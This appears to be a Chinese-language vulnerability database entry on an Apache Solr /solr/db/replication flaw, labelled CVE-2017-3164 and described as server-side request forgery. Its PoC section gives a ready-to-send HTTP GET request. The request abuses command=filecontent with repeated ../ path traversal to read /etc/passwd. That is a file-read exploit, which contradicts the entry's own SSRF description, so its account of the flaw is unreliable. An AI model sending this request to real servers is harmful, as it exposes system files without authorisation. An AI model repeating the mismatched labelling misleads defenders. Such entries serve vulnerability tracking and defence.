Apache Solr /solr/db/replication 服务端请求伪造漏洞（CVE-2017-3164）

2026-04-30 Apache Solr PoC Public

Description

Apache Solr是美国阿帕奇（Apache）软件基金会的一款基于Lucene（一款全文搜索引擎）的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。Apache Solr的/solr/db/replication接口存在服务端请求伪造（SSRF）漏洞（CVE-2017-3164），攻击者可以利用该漏洞发送伪造请求，探测敏感的内网信息或攻击内网服务器。

PoC

GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1 HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Apache Solr /solr/db/replication Server-Side Request Forgery Vulnerability（CVE-2017-3164）

References

Related Vulnerabilities